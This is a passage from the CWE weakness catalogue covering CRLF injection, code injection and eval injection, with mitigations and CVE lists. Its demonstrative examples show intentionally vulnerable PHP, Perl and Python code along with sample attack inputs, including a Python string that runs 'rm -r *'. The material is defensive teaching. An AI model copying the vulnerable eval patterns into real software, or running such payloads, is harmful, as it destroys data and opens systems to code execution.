The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	271
CanPrecede		117	Improper Output Neutralization for Logs	288

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Weakness Ordinalities**Primary :****Applicable Platforms****Language :** Not Language-Specific (*Prevalence = Undetermined*)**Common Consequences**

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Detection Methods**Automated Static Analysis**

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

*Effectiveness = High***Potential Mitigations****Phase: Implementation**

Avoid using CRLF as a special sequence.

Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

Demonstrative Examples**Example 1:**

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

*Example Language: Java**(Bad)*

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

Observed Examples

Reference	Description
CVE-2002-1771	CRLF injection enables spam proxy (add mail headers) using email address or name. https://www.cve.org/CVERecord?id=CVE-2002-1771
CVE-2002-1783	CRLF injection in API function arguments modify headers for outgoing requests. https://www.cve.org/CVERecord?id=CVE-2002-1783
CVE-2004-1513	Spoofed entries in web server log file via carriage returns https://www.cve.org/CVERecord?id=CVE-2004-1513
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection https://www.cve.org/CVERecord?id=CVE-2006-4624
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting. https://www.cve.org/CVERecord?id=CVE-2005-1951
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL. https://www.cve.org/CVERecord?id=CVE-2004-1687

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2330
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CRLF Injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	24		HTTP Request Splitting
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
81	Web Server Logs Tampering

References

[REF-928]Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002 May 7. < <http://marc.info/?l=bugtraq&m=102088154213630&w=2> >.

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID : 94
Structure : Simple
Abstraction : Base

Description

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Extended Description







When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1805
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	226
ParentOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	232
ParentOf		1336	Improper Neutralization of Special Elements Used in a Template Engine	2238
CanFollow		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	236

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Applicable Platforms

Language : Interpreted (*Prevalence = Sometimes*)

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

For Python programs, it is frequently encouraged to use the `ast.literal_eval()` function instead of `eval`, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of `ast.literal_eval()` on untrusted data [REF-1373].

Effectiveness = Discouraged Common Practice

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP

(Bad)

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<br>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
```

```
include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language:

(Attack)

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(Attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(Bad)

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number

of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(Attack)

```
add_key(",",""); system("/bin/l$");
```

This would produce the following string in `handleConfigAction()`:

Example Language:

(Result)

```
config_file_add_key(",",""); system("/bin/l$");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key(\$fname, \$key, \$val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Example 3:

This simple script asks a user to supply a list of numbers as input and adds them together.

Example Language: Python

(Bad)

```
def main():
    sum = 0
    numbers = eval(input("Enter a space-separated list of numbers: "))
    for num in numbers:
        sum = sum + num
    print(f"Sum of {numbers} = {sum}")
main()
```

The `eval()` function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the `eval()` function, it will execute that code. For example, a malicious user could supply the following string:

Example Language:

(Attack)

```
__import__('subprocess').getoutput('rm -r *')
```

This would delete all the files in the current directory. For this reason, it is not recommended to use `eval()` with untrusted input.

A way to accomplish this without the use of `eval()` is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a `ValueError`. By avoiding `eval()`, there is no opportunity for the input string to be executed as code.

Example Language: Python

(Good)

```
def main():
    sum = 0
    numbers = input("Enter a space-separated list of numbers: ").split(" ")
    try:
        for num in numbers:
            sum = sum + int(num)
        print(f"Sum of {numbers} = {sum}")
    except ValueError:
        print("Error: invalid input")
main()
```

An alternative, commonly-cited mitigation for this kind of weakness is to use the `ast.literal_eval()` function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of `ast.literal_eval()` on untrusted data [REF-1373].

Observed Examples

Reference	Description
CVE-2022-2054	Python compiler uses <code>eval()</code> to execute malicious strings as Python code. https://www.cve.org/CVERecord?id=CVE-2022-2054
CVE-2021-22204	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-22204
CVE-2020-8218	"Code injection" in VPN product, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-8218
CVE-2008-5071	Eval injection in PHP program. https://www.cve.org/CVERecord?id=CVE-2008-5071
CVE-2002-1750	Eval injection in Perl program. https://www.cve.org/CVERecord?id=CVE-2002-1750
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. https://www.cve.org/CVERecord?id=CVE-2008-5305
CVE-2002-1752	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2002-1752
CVE-2002-1753	Eval injection in Perl program. https://www.cve.org/CVERecord?id=CVE-2002-1753
CVE-2005-1527	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2005-1527
CVE-2005-2837	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2005-2837
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested. https://www.cve.org/CVERecord?id=CVE-2005-1921
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested. https://www.cve.org/CVERecord?id=CVE-2005-2498
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file. https://www.cve.org/CVERecord?id=CVE-2005-3302
CVE-2007-1253	Eval injection in Python program. https://www.cve.org/CVERecord?id=CVE-2007-1253
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement. https://www.cve.org/CVERecord?id=CVE-2001-1471
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program. https://www.cve.org/CVERecord?id=CVE-2002-0495
CVE-2005-1876	Direct PHP code injection into supporting template file. https://www.cve.org/CVERecord?id=CVE-2005-1876
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker. https://www.cve.org/CVERecord?id=CVE-2005-1894
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. https://www.cve.org/CVERecord?id=CVE-2003-0395

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2353
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CODE		Code Evaluation and Injection
ISA/IEC 62443	Part 4-2		Req CR 3.5
ISA/IEC 62443	Part 3-3		Req SR 3.5
ISA/IEC 62443	Part 4-1		Req SVV-1
ISA/IEC 62443	Part 4-1		Req SVV-3

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
77	Manipulating User-Controlled Variables
242	Code Injection

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1372]"How ast.literal_eval can cause memory exhaustion". 2022 December 4. Reddit. < https://www.reddit.com/r/learnpython/comments/zmbhcf/how_astliteral_eval_can_cause_memory_exhaustion/ >.2023-11-03.

[REF-1373]"ast - Abstract Syntax Trees". 2023 November 2. Python. < https://docs.python.org/3/library/ast.html#ast.literal_eval >.2023-11-03.

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID : 95

Structure : Simple

Abstraction : Variant

Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	219

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Language : JavaScript (*Prevalence = Undetermined*)

Language : Python (*Prevalence = Undetermined*)

Language : Perl (*Prevalence = Undetermined*)

Language : PHP (*Prevalence = Undetermined*)

Language : Ruby (*Prevalence = Undetermined*)

Language : Interpreted (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data <i>The injected code could access restricted data / files.</i>	
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally,</i>	

Scope	Impact	Likelihood
	<i>code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If possible, refactor your code so that it does not need to use eval() at all.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

Effectiveness = Discouraged Common Practice

Demonstrative Examples

Example 1:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(Bad)

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val);";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action')) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(Attack)

```
add_key(",",""); system("/bin/lS");
```

This would produce the following string in handleConfigAction():

Example Language:

(Result)

```
config_file_add_key(",",""); system("/bin/lS");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\\$fname, \\$key, \\$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

Example 2:

This simple script asks a user to supply a list of numbers as input and adds them together.

Example Language: Python

(Bad)

```
def main():
    sum = 0
    numbers = eval(input("Enter a space-separated list of numbers: "))
    for num in numbers:
        sum = sum + num
    print(f"Sum of {numbers} = {sum}")
main()
```

The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:

Example Language:

(Attack)

```
__import__('subprocess').getoutput('rm -r *')
```

This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.

A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.

Example Language: Python

(Good)

```
def main():
    sum = 0
    numbers = input("Enter a space-separated list of numbers: ").split(" ")
    try:
        for num in numbers:
            sum = sum + int(num)
        print(f"Sum of {numbers} = {sum}")
    except ValueError:
        print("Error: invalid input")
main()
```

An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

Observed Examples

Reference	Description
CVE-2022-2054	Python compiler uses eval() to execute malicious strings as Python code. https://www.cve.org/CVERecord?id=CVE-2022-2054
CVE-2021-22204	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-22204
CVE-2021-22205	Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-22205
CVE-2008-5071	Eval injection in PHP program. https://www.cve.org/CVERecord?id=CVE-2008-5071
CVE-2002-1750	Eval injection in Perl program. https://www.cve.org/CVERecord?id=CVE-2002-1750

Reference	Description
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. https://www.cve.org/CVERecord?id=CVE-2008-5305
CVE-2002-1752	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2002-1752
CVE-2002-1753	Eval injection in Perl program. https://www.cve.org/CVERecord?id=CVE-2002-1753
CVE-2005-1527	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2005-1527
CVE-2005-2837	Direct code injection into Perl eval function. https://www.cve.org/CVERecord?id=CVE-2005-2837
CVE-2005-1921	MFV. code injection into PHP eval statement using nested constructs that should not be nested. https://www.cve.org/CVERecord?id=CVE-2005-1921
CVE-2005-2498	MFV. code injection into PHP eval statement using nested constructs that should not be nested. https://www.cve.org/CVERecord?id=CVE-2005-2498
CVE-2005-3302	Code injection into Python eval statement from a field in a formatted file. https://www.cve.org/CVERecord?id=CVE-2005-3302
CVE-2007-1253	Eval injection in Python program. https://www.cve.org/CVERecord?id=CVE-2007-1253
CVE-2001-1471	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement. https://www.cve.org/CVERecord?id=CVE-2001-1471
CVE-2007-2713	Chain: Execution after redirect triggers eval injection. https://www.cve.org/CVERecord?id=CVE-2007-2713

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2331
MemberOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf		884	CWE Cross-section	884	2567
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2465
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Notes

Other

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS35-PL	Exact	Do not invoke the eval form with a string argument

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1372]"How ast.literal_eval can cause memory exhaustion". 2022 December 4. Reddit. < https://www.reddit.com/r/learnpython/comments/zmbhcf/how_astliteral_eval_can_cause_memory_exhaustion/ >.2023-11-03.

[REF-1373]"ast - Abstract Syntax Trees". 2023 November 2. Python. < https://docs.python.org/3/library/ast.html#ast.literal_eval >.2023-11-03.

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID : 96

Structure : Simple

Abstraction : Base

Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	219
ParentOf		97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	235

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP (*Prevalence = Undetermined*)

Language : Perl (*Prevalence = Undetermined*)

Language : Interpreted (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data <i>The injected code could access restricted data / files.</i>	
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

